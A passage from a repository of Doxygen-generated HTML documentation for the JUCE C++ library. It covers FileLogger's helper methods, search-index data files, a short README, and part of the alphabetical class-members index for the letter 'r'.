class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>logFileSubDirectoryName</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>logFileName</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>welcomeMessage</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>maxInitialFileSizeBytes</em> = <code>128&#160;*1024</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Helper function to create a log file in the correct place for this platform. </p> <p>The method might return nullptr if the file can't be created for some reason.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">logFileSubDirectoryName</td><td>the name of the subdirectory to create inside the logs folder (as returned by getSystemLogFileFolder). It's best to use something like the name of your application here. </td></tr> <tr><td class="paramname">logFileName</td><td>the name of the file to create, e.g. "MyAppLog.txt". </td></tr> <tr><td class="paramname">welcomeMessage</td><td>a message that will be written to the log when it's opened. </td></tr> <tr><td class="paramname">maxInitialFileSizeBytes</td><td>(see the <a class="el" href="classFileLogger.html" title="A simple implementation of a Logger that writes to a file.">FileLogger</a> constructor for more info on this) </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a6278d0c047edb99196e6fa1c72bc91f5"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classFileLogger.html">FileLogger</a>* FileLogger::createDateStampedLogger </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>logFileSubDirectoryName</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>logFileNameRoot</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>logFileNameSuffix</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>welcomeMessage</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Helper function to create a log file in the correct place for this platform. </p> <p>The filename used is based on the root and suffix strings provided, along with a time and date string, meaning that a new, empty log file will be always be created rather than appending to an exising one.</p> <p>The method might return nullptr if the file can't be created for some reason.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">logFileSubDirectoryName</td><td>the name of the subdirectory to create inside the logs folder (as returned by getSystemLogFileFolder). It's best to use something like the name of your application here. </td></tr> <tr><td class="paramname">logFileNameRoot</td><td>the start of the filename to use, e.g. "MyAppLog_". This will have a timestamp and the logFileNameSuffix appended to it </td></tr> <tr><td class="paramname">logFileNameSuffix</td><td>the file suffix to use, e.g. ".txt" </td></tr> <tr><td class="paramname">welcomeMessage</td><td>a message that will be written to the log when it's opened. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="addb33c331b16dca4b732558b44c1fab7"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classFile.html">File</a> FileLogger::getSystemLogFileFolder </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns an OS-specific folder where log-files should be stored. </p> <p>On Windows this will return a logger with a path such as: c:\Documents and Settings\username\Application Data\[logFileSubDirectoryName]\[logFileName]</p> <p>On the Mac it'll create something like: ~/Library/Logs/[logFileSubDirectoryName]/[logFileName]</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classFileLogger.html#a6ddf300bd192744a4767fc88a78b2dd9" title="Helper function to create a log file in the correct place for this platform.">createDefaultAppLogger</a> </dd></dl> </div> </div> <a class="anchor" id="aaf1bc4062f89bc56c9926bb1af268bb4"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void FileLogger::logMessage </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>message</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This is overloaded by subclasses to implement custom logging behaviour. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classLogger.html#a5855a0341fc4f6ceb5418879fd685277" title="Sets the current logging class to use.">setCurrentLogger</a> </dd></dl> <p>Implements <a class="el" href="classLogger.html#ab2ef7f6552d425bf729b7d1a7ed5160f">Logger</a>.</p> </div> </div> <a class="anchor" id="a0224c141681c9fd2ec850aed189b65f8"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static void FileLogger::trimFileSize </td> <td>(</td> <td class="paramtype">const <a class="el" href="classFile.html">File</a> &amp;&#160;</td> <td class="paramname"><em>file</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="juce__MathsFunctions_8h.html#aecfc3c54bd29ad5964e1c1c3ccbf89df">int64</a>&#160;</td> <td class="paramname"><em>maxFileSize</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>This is a utility function which removes lines from the start of a text file to make sure that its total size is below the given size. </p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__FileLogger_8h.html">juce_FileLogger.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['globalapplicationsdirectory',['globalApplicationsDirectory',['../classFile.html#a3e19cafabb03c5838160263a6e76313dad4f66736251eab2cdaa21dd5a709ed21',1,'File']]], ['gzipformat',['gzipFormat',['../classGZIPDecompressorInputStream.html#a293d005b03d528a89ec13cfb07e31f94a1a578314b467b8f06a116da9d8cc52eb',1,'GZIPDecompressorInputStream']]] ]; <file_sep>var searchData= [ ['jobstatus',['JobStatus',['../classThreadPoolJob.html#a534c077f3c60168d88555ade062420b3',1,'ThreadPoolJob']]], ['jointstyle',['JointStyle',['../classPathStrokeType.html#af1cf21018ccb9aa84572c1da4ae513b8',1,'PathStrokeType']]] ]; <file_sep>var searchData= [ ['quadratictoelement',['quadraticToElement',['../classDrawablePath_1_1ValueTreeWrapper_1_1Element.html#ab21ea7edef3d68b071eba53b3232cc65',1,'DrawablePath::ValueTreeWrapper::Element']]] ]; <file_sep># The JUCE Library API documentation This repository holds a copy of the doxygen-generated html files that document the JUCE library classes. There's also a doxygen config file and shell script in here, which you may want to use to generate the docs from the original juce source files. This script isn't guaranteed to work on anyone's machine other than my own, but you're welcome to play with it! For more information, visit the JUCE website: http://www.juce.com And you can view the documentation online at: http://www.juce.com/doc/classes <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: Class Members</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li class="current"><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <div id="navrow3" class="tabs2"> <ul class="tablist"> <li class="current"><a href="functions.html"><span>All</span></a></li> <li><a href="functions_func.html"><span>Functions</span></a></li> <li><a href="functions_vars.html"><span>Variables</span></a></li> <li><a href="functions_type.html"><span>Typedefs</span></a></li> <li><a href="functions_enum.html"><span>Enumerations</span></a></li> <li><a href="functions_eval.html"><span>Enumerator</span></a></li> </ul> </div> <div id="navrow4" class="tabs3"> <ul class="tablist"> <li><a href="functions.html#index_a"><span>a</span></a></li> <li><a href="functions_0x62.html#index_b"><span>b</span></a></li> <li><a href="functions_0x63.html#index_c"><span>c</span></a></li> <li><a href="functions_0x64.html#index_d"><span>d</span></a></li> <li><a href="functions_0x65.html#index_e"><span>e</span></a></li> <li><a href="functions_0x66.html#index_f"><span>f</span></a></li> <li><a href="functions_0x67.html#index_g"><span>g</span></a></li> <li><a href="functions_0x68.html#index_h"><span>h</span></a></li> <li><a href="functions_0x69.html#index_i"><span>i</span></a></li> <li><a href="functions_0x6a.html#index_j"><span>j</span></a></li> <li><a href="functions_0x6b.html#index_k"><span>k</span></a></li> <li><a href="functions_0x6c.html#index_l"><span>l</span></a></li> <li><a href="functions_0x6d.html#index_m"><span>m</span></a></li> <li><a href="functions_0x6e.html#index_n"><span>n</span></a></li> <li><a href="functions_0x6f.html#index_o"><span>o</span></a></li> <li><a href="functions_0x70.html#index_p"><span>p</span></a></li> <li><a href="functions_0x71.html#index_q"><span>q</span></a></li> <li class="current"><a href="functions_0x72.html#index_r"><span>r</span></a></li> <li><a href="functions_0x73.html#index_s"><span>s</span></a></li> <li><a href="functions_0x74.html#index_t"><span>t</span></a></li> <li><a href="functions_0x75.html#index_u"><span>u</span></a></li> <li><a href="functions_0x76.html#index_v"><span>v</span></a></li> <li><a href="functions_0x77.html#index_w"><span>w</span></a></li> <li><a href="functions_0x78.html#index_x"><span>x</span></a></li> <li><a href="functions_0x79.html#index_y"><span>y</span></a></li> <li><a href="functions_0x7a.html#index_z"><span>z</span></a></li> <li><a href="functions_0x7e.html#index_0x7e"><span>~</span></a></li> </ul> </div> </div><!-- top --> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div class="contents"> <div class="textblock">Here is a list of all class members with links to the classes they belong to:</div> <h3><a class="anchor" id="index_r"></a>- r -</h3><ul> <li>r : <a class="el" href="structFFT_1_1Complex.html#aacf60a9d5fb15df15ba49171e337bf90">FFT::Complex</a> </li> <li>radial : <a class="el" href="classDrawableShape_1_1FillAndStrokeState.html#a35b2d94ae6a13721f581b582400007bb">DrawableShape::FillAndStrokeState</a> </li> <li>radius : <a class="el" href="structDropShadow.html#a96cbbc37579f9a2627f342a7dc6be568">DropShadow</a> </li> <li>raisePrivilege() : <a class="el" href="classProcess.html#a8e96b400aa54a83291406378ec0d8eaa">Process</a> </li> <li>Random() : <a class="el" href="classRandom.html#a510ef17add8a962faf696cf0f434d8f8">Random</a> </li> <li>range : <a class="el" href="classAttributedString_1_1Attribute.html#aadd39f43e26b6c0a36dca6bf36537818">AttributedString::Attribute</a> </li> <li>Range() : <a class="el" href="classRange.html#a83a189600c18bec7299c3e66423a640d">Range&lt; ValueType &gt;</a> </li> <li>range : <a class="el" href="classAudioParameterFloat.html#a7e860466dbc1319bc064cd6e7db382e3">AudioParameterFloat</a> </li> <li>reactToMenuItem() : <a class="el" href="classTableHeaderComponent.html#a6d73ed05285a4386b50472710e10ad3d">TableHeaderComponent</a> </li> <li>read() : <a class="el" href="classFileInputStream.html#a1b78ed4e0bd123ef3996154ec6d89252">FileInputStream</a> , <a class="el" href="classNamedPipe.html#a5223fb46357279d84e2f97d43291b3a8">NamedPipe</a> , <a class="el" href="classStreamingSocket.html#ac048823c044a47600f7f1036c730b934">StreamingSocket</a> , <a class="el" href="classDatagramSocket.html#aa6d0fb81186112263c99e88b498f58ed">DatagramSocket</a> , <a class="el" href="classBufferedInputStream.html#a5f210b5232af59aff2d01279174d9d9c">BufferedInputStream</a> , <a class="el" href="classInputStream.html#aa5350c414bad6b97ae3b463a3401c0d6">InputStream</a> , <a class="el" href="classMemoryInputStream.html#a86d8876c0c32633f42e232435e21ebaa">MemoryInputStream</a> , <a class="el" href="classSubregionStream.html#ab1ccc36bcfae767109fa12fb03b4de31">SubregionStream</a> , <a class="el" href="classGZIPDecompressorInputStream.html#a1b8deaae7ddf6028c7ddf5619c5489e6">GZIPDecompressorInputStream</a> , <a class="el" href="classAudioFormatReader.html#afe581e23098c90f1fb187fdff68d3481">AudioFormatReader</a> , <a class="el" href="structAudioFormatReader_1_1ReadHelper.html#ab1158f4802796adedd47088948930c7d">AudioFormatReader::ReadHelper&lt; DestSampleType, SourceSampleType, SourceEndianness &gt;</a> </li> <li>readAllProcessOutput() : <a class="el" href="classChildProcess.html#ae91e215618cd1861c2e2ca13e5f4166e">ChildProcess</a> </li> <li>readBool() : <a class="el" href="classInputStream.html#a37d1e4956da4fb9f765f16f9c4b4ec3b">InputStream</a> </li> <li>readByte() : <a class="el" href="classInputStream.html#a2e5944641712d84b6da2eee5d394326a">InputStream</a> </li> <li>readCompressedInt() : <a class="el" href="classInputStream.html#a3e3643991f4103c5cfc1b8c61c6a3e92">InputStream</a> </li> <li>readDouble() : <a class="el" href="classInputStream.html#a31626a82ad48629a202135ac925ffecd">InputStream</a> </li> <li>readDoubleBigEndian() : <a class="el" href="classInputStream.html#a7c7a2928053424caf51986d9e6fdaa35">InputStream</a> </li> <li>readDoubleValue() : <a class="el" href="classCharacterFunctions.html#a8743d3c374a36a0fb0596ac0e259b9ed">CharacterFunctions</a> </li> <li>readEntireBinaryStream() : <a class="el" href="classURL.html#ade18c87d31c10cb7fea4453afeee2de6">URL</a> </li> <li>readEntireStreamAsString() : <a class="el" href="classInputStream.html#aeb956ec5838d7f64153141ef51977c40">InputStream</a> </li> <li>readEntireTextStream() : <a class="el" href="classURL.html#a7c50271fae5ecfef9e6ae625dade995f">URL</a> </li> <li>readEntireXmlStream() : <a class="el" href="classURL.html#a91141cb99e805bf469b8080fc02eefd2">URL</a> </li> <li>readFloat() : <a class="el" href="classInputStream.html#a46d7f191f1872bc27550db3fa0733f59">InputStream</a> </li> <li>readFloatBigEndian() : <a class="el" href="classInputStream.html#a4d19fef152296085c477882e0650b011">InputStream</a> </li> <li>readFrom() : <a class="el" href="classMidiFile.html#a541d03108b4bcbaf2124eee401b2d92f">MidiFile</a> , <a class="el" href="classDrawablePath_1_1ValueTreeWrapper.html#a7bb8b0f1ab8276db874368de9887c580">DrawablePath::ValueTreeWrapper</a> , <a class="el" href="classDrawableShape_1_1RelativeFillType.html#aa1a99adfe5f82c9b3fa84c7c6aec6467">DrawableShape::RelativeFillType</a> , <a class="el" href="classMarkerList_1_1ValueTreeWrapper.html#a78d4f5624dcd2b9c5b03d09bbbc5689b">MarkerList::ValueTreeWrapper</a> </li> <li>readFromData() : <a class="el" href="classValueTree.html#a9481d856db653baecf76032703858ca5">ValueTree</a> </li> <li>readFromGZIPData() : <a class="el" href="classValueTree.html#ab5a0858a2f15fef8b61adb6aa2aadc63">ValueTree</a> </li> <li>readFromStream() : <a class="el" href="classAudioThumbnailCache.html#a4964efe9a66ded88c1224e2c0946c5e9">AudioThumbnailCache</a> , <a class="el" href="classvar.html#aaf0922e63a9012369524c7e1b9a710f5">var</a> , <a class="el" href="classValueTree.html#ad41a9e45b2d15699b4e27bed3b31109c">ValueTree</a> </li> <li>ReadingDirection : <a class="el" href="classAttributedString.html#a254fea6774b4e74f786cc5ad3abac400">AttributedString</a> </li> <li>readInt() : <a class="el" href="classInputStream.html#a59eb456ebfbe9d4c7fdfd4c14337e19a">InputStream</a> </li> <li>readInt64() : <a class="el" href="classInputStream.html#a58941fd7cf4279e49d4697750f837a56">InputStream</a> </li> <li>readInt64BigEndian() : <a class="el" href="classInputStream.html#a8894f1c01c6e0de4b5dd9b9c1fe06c4b">InputStream</a> </li> <li>readIntBigEndian() : <a class="el" href="classInputStream.html#a84ab1bcc547eee621c4c6c2502af808d">InputStream</a> </li> <li>readIntoMemoryBlock() : <a class="el" href="classInputStream.html#a7708d25af96e8d8b937a4642dcf55a23">InputStream</a> </li> <li>readLines() : <a class="el" href="classFile.html#a155785c6bd5e36a11be9c2451f8bb8f2">File</a> </li> <li>readMaxLevels() : <a class="el" href="classAudioFormatReader.html#aafdf75471df1ce853785ecd5fe74b9f7">AudioFormatReader</a> , <a class="el" href="classAudioSubsectionReader.html#aaf1151c9dd37fb13e276518d39a6121f">AudioSubsectionReader</a> </li> <li>readNextLine() : <a class="el" href="classInputStream.html#af16acc8f2fd769adb559a781ece8e903">InputStream</a> </li> <li>readNextToken() : <a class="el" href="classCodeTokeniser.html#aeb723b767eed0ce44ae995c99ebc1c2f">CodeTokeniser</a> , <a class="el" href="classCPlusPlusCodeTokeniser.html#a2e3caa24a249809d10244737f4c08f6a">CPlusPlusCodeTokeniser</a> , <a class="el" href="structCppTokeniserFunctions.html#a0052d25ba400cf3e01f5f5bc95e03ce4">CppTokeniserFunctions</a> , <a class="el" href="classLuaTokeniser.html#a6ef2649f291445b2e21021bb5c3b00e1">LuaTokeniser</a> , <a class="el" href="classXmlTokeniser.html#a42365141d4931acfb1e6e44bdc99824f">XmlTokeniser</a> </li> <li>readOnly : <a class="el" href="classMemoryMappedFile.html#a1fb6563237aaf7bd02f4b30f13b0e2d0adcfba7d8c4095759d308001cd11cbdc4">MemoryMappedFile</a> , <a class="el" href="classImage_1_1BitmapData.html#aef68f9fb2440dd6a56a3c0b8c8b6fc13a97c870458227b8f45385b81515b25534">Image::BitmapData</a> </li> <li>readOnlyDiskPresent : <a class="el" href="classAudioCDBurner.html#a75c01de0b51d56d6f78a1b56ff4da846a5c5dd3ef71603fe3b53c41fda2690db9">AudioCDBurner</a> </li> <li>readOnlyInKeyEditor : <a class="el" href="structApplicationCommandInfo.html#ab9633f0a25ad57236fde726c98b29d72a57e236658a383bd74c76fadfe6c49370">ApplicationCommandInfo</a> </li> <li>readPixels() : <a class="el" href="classOpenGLFrameBuffer.html#a9445383f62fc16bcee3ffe536fa1840a">OpenGLFrameBuffer</a> </li> <li>readProcessOutput() : <a class="el" href="classChildProcess.html#af6f8f31a8c86fadeba06b8be21e94e30">ChildProcess</a> </li> <li>readReplyFromWebserver() : <a class="el" href="classOnlineUnlockStatus.html#a85f7c723e3a402551df7dbcc8d45f951">OnlineUnlockStatus</a> , <a class="el" href="classTracktionMarketplaceStatus.html#a00f05162ad6541ae5ee1e0dd5bed6674">TracktionMarketplaceStatus</a> </li> <li>readSamples() : <a class="el" href="classAudioCDReader.html#a0744cc267fb83dc86f1c56c14e7468d1">AudioCDReader</a> , <a class="el" href="classAudioFormatReader.html#a8447eed7f81e0b931248a8eb98ed106f">AudioFormatReader</a> , <a class="el" href="classAudioSubsectionReader.html#a74503d803fbffeac827371b7f75e0749">AudioSubsectionReader</a> , <a class="el" href="classBufferingAudioReader.html#a578f7686c957cfb442a5a385c2ebbbeb">BufferingAudioReader</a> </li> <li>readShort() : <a class="el" href="classInputStream.html#a0c4b0f9f1fa9515fea5a98d2ffe7ae02">InputStream</a> </li> <li>readShortBigEndian() : <a class="el" href="classInputStream.html#ac33bbf8ae4597a30bde70cbdbc6bfa5b">InputStream</a> </li> <li>readString() : <a class="el" href="classBufferedInputStream.html#aedf621e448b5d415e68dc55eedbeebea">BufferedInputStream</a> , <a class="el" href="classInputStream.html#abff18ad6e416d45f19d347abd3433665">InputStream</a> </li> <li>readVariableLengthVal() : <a class="el" href="classMidiMessage.html#a7a9fc08ca4beba20e50afaf91c0c316b">MidiMessage</a> </li> <li>readWrite : <a class="el" href="classMemoryMappedFile.html#a1fb6563237aaf7bd02f4b30f13b0e2d0a600bfb19741145c6c13280a687797041">MemoryMappedFile</a> , <a class="el" href="classImage_1_1BitmapData.html#aef68f9fb2440dd6a56a3c0b8c8b6fc13ad55b50039ed1f7483753714d5a92e7df">Image::BitmapData</a> </li> <li>ReadWriteLock() : <a class="el" href="classReadWriteLock.html#ac4d03ea1fd3a24c1813492b8487134af">ReadWriteLock</a> </li> <li>ReadWriteMode : <a class="el" href="classImage_1_1BitmapData.html#aef68f9fb2440dd6a56a3c0b8c8b6fc13">Image::BitmapData</a> </li> <li>realloc() : <a class="el" href="classHeapBlock.html#a75f22feaa5bb7278e6a6234ec5d19778">HeapBlock&lt; ElementType, throwOnFailure &gt;</a> </li> <li>reallyContains() : <a class="el" href="classComponent.html#aa8d8eb035156e46e6264f600097b1cc1">Component</a> </li> <li>RealtimePriority : <a class="el" href="classProcess.html#ad7b18ceb7a8c0a2b6b71856894feb6efa1ab071c1d49e25fc1df3c9663177927e">Process</a> </li> <li>Reaper : <a class="el" href="classPluginHostType.html#a69d9330e82ef7520f9aa8b2ad78ce5a8aec2843d65058124f4d29e70027f06e83">PluginHostType</a> </li> <li>recalculateCoords() : <a class="el" href="classDrawableShape_1_1RelativeFillType.html#a076d32c0ce212574c253038bc39d7e5f">DrawableShape::RelativeFillType</a> </li> <li>RecentlyOpenedFilesList() : <a class="el" href="classRecentlyOpenedFilesList.html#a1be25db49e1770f3f294121d7a407537">RecentlyOpenedFilesList</a> </li> <li>recreateDesktopWindow() : <a class="el" href="classTopLevelWindow.html#a17ae4404a23e24e2859a396bc391ffc1">TopLevelWindow</a> </li> <li>recreateFromXml() : <a class="el" href="classKnownPluginList.html#a3914fddc79074744a1a7b7d7a0e8201f">KnownPluginList</a> </li> <li>Rectangle() : <a class="el" href="classRectangle.html#a714de88b89a1750213007bee523186c1">Rectangle&lt; ValueType &gt;</a> </li> <li>RectangleList() : <a class="el" href="classRectangleList.html#ade36b6b0037022600942309463415a75">RectangleList&lt; ValueType &gt;</a> </li> <li>RectanglePlacement() : <a class="el" href="classRectanglePlacement.html#af614522b9cccb64e01cec1d369883327">RectanglePlacement</a> </li> <li>RectangleType : <a class="el" href="classRectangleList.html#ad9d8b465737335563551e5f224fad32f">RectangleList&lt; ValueType &gt;</a> </li> <li>red : <a class="el" href="classColours.html#a5056e7857f2bc211569dfc89512244dd">Colours</a> </li> <li>redBits : <a class="el" href="classOpenGLPixelFormat.html#ae35395197ac66ebfed1a94d1748a20b8">OpenGLPixelFormat</a> </li> <li>redo() : <a class="el" href="classUndoManager.html#aaea507a3b9eaea3360c0e393edf69ccb">UndoManager</a> , <a class="el" href="classTextEditor.html#a864db67116dd13ed7a29d1d99353458c">TextEditor</a> , <a class="el" href="classCodeDocument.html#a65238c6b6e038074051ace9393c779c3">CodeDocument</a> , <a class="el" href="classCodeEditorComponent.html#af21b33268573e1f76ef4edd07f8c9163">CodeEditorComponent</a> </li> <li>reduce() : <a class="el" href="classRectangle.html#aa1aa5758b0ddcced6954c5f82692ac63">Rectangle&lt; ValueType &gt;</a> </li> <li>reduceClipRegion() : <a class="el" href="classGraphics.html#ad97e058fcff2bc0e634eacc4ef1d7a5f">Graphics</a> </li> <li>reduced() : <a class="el" href="classRectangle.html#a5623a7886c63a08917b392c7bc1135a9">Rectangle&lt; ValueType &gt;</a> </li> <li>reduceIfPartlyContainedIn() : <a class="el" href="classRectangle.html#afeb73325b68201f34d2e51502ba286e6">Rectangle&lt; ValueType &gt;</a> </li> <li>reduceNumVoices() : <a class="el" href="classMPESynthesiser.html#a6b3e0b278f6f848abac1ab5552c5d04d">MPESynthesiser</a> </li> <li>ReferenceCountedArray() : <a class="el" href="classReferenceCountedArray.html#a3026e9cca0a8b1d63751f3fbb930bf17">ReferenceCountedArray&lt; ObjectClass, TypeOfCriticalSectionToUse &gt;</a> </li> <li>ReferenceCountedObject() : <a class="el" href="classReferenceCountedObject.html#a86c1a0791cb6e98e63f7c1f7812c6eb5">ReferenceCountedObject</a> </li> <li>ReferenceCountedObjectPtr() : <a class="el" href="classReferenceCountedObjectPtr.html#a8246744495da90e679c22d592dec96df">ReferenceCountedObjectPtr&lt; ReferenceCountedObjectClass &gt;</a> </li> <li>ReferencedType : <a class="el" href="classReferenceCountedObjectPtr.html#aeb4a0ddf04087aa15cf7b607f00c076a">ReferenceCountedObjectPtr&lt; ReferenceCountedObjectClass &gt;</a> </li> <li>references() : <a class="el" href="classRelativeCoordinate.html#ab56b37e8c1e548f620e48498bf92d583">RelativeCoordinate</a> </li> <li>referencesSymbol() : <a class="el" href="classExpression.html#a88ebc272c8f91d59c3d994386fe10583">Expression</a> </li> <li>refersToSameSourceAs() : <a class="el" href="classValue.html#ac748fe41dba23758e8891622a0eb5443">Value</a> </li> <li>referTo() : <a class="el" href="classValue.html#a127b52830b5d62b478224b670d9e78f9">Value</a> </li> <li>refresh() : <a class="el" href="classDirectoryContentsList.html#ac7c096640fd74adbd9b20b38892fee48">DirectoryContentsList</a> , <a class="el" href="classFileBrowserComponent.html#ad8f5511627f790847298053874cb2e39">FileBrowserComponent</a> , <a class="el" href="classFileTreeComponent.html#aacc76f2cb6f1857df9898250751c5463">FileTreeComponent</a> , <a class="el" href="classBooleanPropertyComponent.html#a44fa84b7da2ed250721acbe57820fc87">BooleanPropertyComponent</a> , <a class="el" href="classButtonPropertyComponent.html#a526375fb6a25fda38df91aa22ee65067">ButtonPropertyComponent</a> , <a class="el" href="classChoicePropertyComponent.html#a596cfdff4aacee564c686e0910b011e1">ChoicePropertyComponent</a> , <a class="el" href="classPropertyComponent.html#a0ce62ead3836df49c63e253cf33f83c0">PropertyComponent</a> , <a class="el" href="classSliderPropertyComponent.html#ac8bfacd03f933004c83a8dd409636656">SliderPropertyComponent</a> , <a class="el" href="classTextPropertyComponent.html#a2068f72dd3702dc23127b06b440185ef">TextPropertyComponent</a> , <a class="el" 